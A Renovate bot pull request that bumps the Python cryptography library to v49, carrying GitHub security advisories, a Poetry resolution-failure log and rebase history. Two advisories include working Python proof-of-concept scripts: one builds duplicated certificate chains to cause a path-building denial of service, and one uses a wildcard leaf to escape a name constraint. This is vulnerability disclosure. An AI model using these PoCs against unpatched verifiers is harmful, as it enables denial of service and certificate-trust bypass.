Skip to content

fix(deps): update dependency cryptography to v49 [security] - #42

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-cryptography-vulnerability
Open

fix(deps): update dependency cryptography to v49 [security]#42
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-cryptography-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 11, 2025

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
cryptography (changelog) ^43.0.0^49.0.0 age confidence
cryptography (changelog) ==43.0.1==49.0.0 age confidence

Vulnerable OpenSSL included in cryptography wheels

CVE-2024-12797 / GHSA-79v4-65xg-pq4g

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 42.0.0-44.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20250211.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

CVE-2026-26007 / GHSA-r6ph-v2qm-q3c2

More information

Details

Vulnerability Summary

The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

Only SECT curves are impacted by this.

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


cryptography has incomplete DNS name constraint enforcement on peer names

CVE-2026-34073 / GHSA-m959-cc7f-wv43

More information

Details

Summary

In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com.

This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.

In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.

See CVE-2025-61727 for a similar bypass in Go's crypto/x509.

Remediation

Users should upgrade to 46.0.6 or newer.

Attribution

Reporter: @​1seal

Severity

  • CVSS Score: 1.7 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vulnerable OpenSSL included in cryptography wheels

GHSA-537c-gmf6-5ccf

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829
PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)
Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")
Impact

Acceptance of invalid certificate chain.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

pyca/cryptography (cryptography)

v49.0.0

Compare Source

v48.0.1

Compare Source

v48.0.0

Compare Source

v47.0.0

Compare Source

v46.0.7

Compare Source

v46.0.6

Compare Source

v46.0.5

Compare Source

v46.0.4

Compare Source

v46.0.3

Compare Source

v46.0.2

Compare Source

v46.0.1

Compare Source

v46.0.0

Compare Source

v45.0.7

Compare Source

v45.0.6

Compare Source

v45.0.5

Compare Source

v45.0.4

Compare Source

v45.0.3

Compare Source

v45.0.2

Compare Source

v45.0.1

Compare Source

v45.0.0

Compare Source

v44.0.3

Compare Source

v44.0.2

Compare Source

v44.0.1

Compare Source

v44.0.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Feb 11, 2025

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: poetry.lock
Updating dependencies
Resolving dependencies...

Creating virtualenv encryption-helper-cGULurH--py3.14 in /home/ubuntu/.cache/pypoetry/virtualenvs

The current project's supported Python range (>=3.8,<4.0) is not compatible with some of the required packages Python requirement:
  - cryptography requires Python !=3.9.0,!=3.9.1,>=3.9, so it will not be satisfied for Python >=3.8,<=3.9.0 || 3.9.1

Because no versions of cryptography match >49.0.0,<50.0.0
 and cryptography (49.0.0) requires Python !=3.9.0,!=3.9.1,>=3.9, cryptography is forbidden.
So, because encryption-helper depends on cryptography (^49.0.0), version solving failed.

  • Check your dependencies Python requirement: The Python requirement can be specified via the `python` or `markers` properties
    
    For cryptography, a possible solution would be to set the `python` property to ">3.9.0,<3.9.1 || >3.9.1,<4.0"

    https://python-poetry.org/docs/dependency-specification/#python-restricted-dependencies,
    https://python-poetry.org/docs/dependency-specification/#using-environment-markers

@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v44 [security] fix(deps): update dependency cryptography to v44 [security] - autoclosed May 30, 2025
@renovate renovate Bot closed this May 30, 2025
@renovate
renovate Bot deleted the renovate/pypi-cryptography-vulnerability branch May 30, 2025 14:12
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v44 [security] - autoclosed fix(deps): update dependency cryptography to v44 [security] May 30, 2025
@renovate renovate Bot reopened this May 30, 2025
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from c7cbd57 to 1c9ef1c Compare May 30, 2025 19:20
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 1c9ef1c to 0c4b478 Compare August 10, 2025 13:56
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 0c4b478 to 02cd109 Compare September 22, 2025 11:45
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 02cd109 to 6794be2 Compare November 18, 2025 17:16
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 6794be2 to f21deda Compare December 5, 2025 17:08
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v44 [security] fix(deps): update dependency cryptography to v46 [security] Dec 5, 2025
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from f21deda to 6a41668 Compare December 5, 2025 21:40
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v44 [security] Dec 5, 2025
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 6a41668 to a38c91b Compare December 15, 2025 16:42
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from a38c91b to f399840 Compare December 23, 2025 20:50
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v44 [security] fix(deps): update dependency cryptography to v46 [security] Dec 23, 2025
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from f399840 to 8606605 Compare December 24, 2025 00:35
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v44 [security] Dec 24, 2025
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 8606605 to 3626ee5 Compare December 30, 2025 15:02
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 3626ee5 to 8306bd0 Compare February 11, 2026 04:45
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v44 [security] fix(deps): update dependency cryptography to v46 [security] Feb 11, 2026
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v46 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] - autoclosed chore(deps): update dependency cryptography to v46 [security] Mar 28, 2026
@renovate renovate Bot reopened this Mar 28, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch 3 times, most recently from 8b4db0e to f55cd76 Compare March 28, 2026 21:56
@renovate renovate Bot changed the title chore(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v46 [security] Mar 28, 2026
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v46 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] - autoclosed fix(deps): update dependency cryptography to v46 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch 2 times, most recently from f55cd76 to 0748b0f Compare April 27, 2026 22:01
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 0748b0f to cfcdc04 Compare May 5, 2026 17:36
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v48 [security] May 5, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from cfcdc04 to 43ac078 Compare May 5, 2026 22:05
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v48 [security] fix(deps): update dependency cryptography to v46 [security] May 5, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 43ac078 to 08dfe34 Compare May 12, 2026 12:15
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v48 [security] May 13, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 08dfe34 to 7293311 Compare May 13, 2026 10:37
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v48 [security] fix(deps): update dependency cryptography to v46 [security] May 13, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch 2 times, most recently from 2ecd63c to f706ba3 Compare May 14, 2026 17:11
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from f706ba3 to 9742bff Compare June 1, 2026 04:06
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v48 [security] Jun 1, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 9742bff to 4223dd3 Compare June 1, 2026 23:01
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v48 [security] fix(deps): update dependency cryptography to v46 [security] Jun 1, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 4223dd3 to b0d5249 Compare June 18, 2026 22:08
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v46 [security] fix(deps): update dependency cryptography to v48 [security] Jun 18, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from b0d5249 to 2bfe7ca Compare June 22, 2026 21:11
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v48 [security] fix(deps): update dependency cryptography to v49 [security] Jun 22, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 2bfe7ca to 35824ef Compare June 23, 2026 01:02
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v49 [security] fix(deps): update dependency cryptography to v48 [security] Jun 23, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 35824ef to 336f884 Compare July 12, 2026 15:09
@renovate
renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 336f884 to 9942e73 Compare August 5, 2026 06:00
@renovate renovate Bot changed the title fix(deps): update dependency cryptography to v48 [security] fix(deps): update dependency cryptography to v49 [security] Aug 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants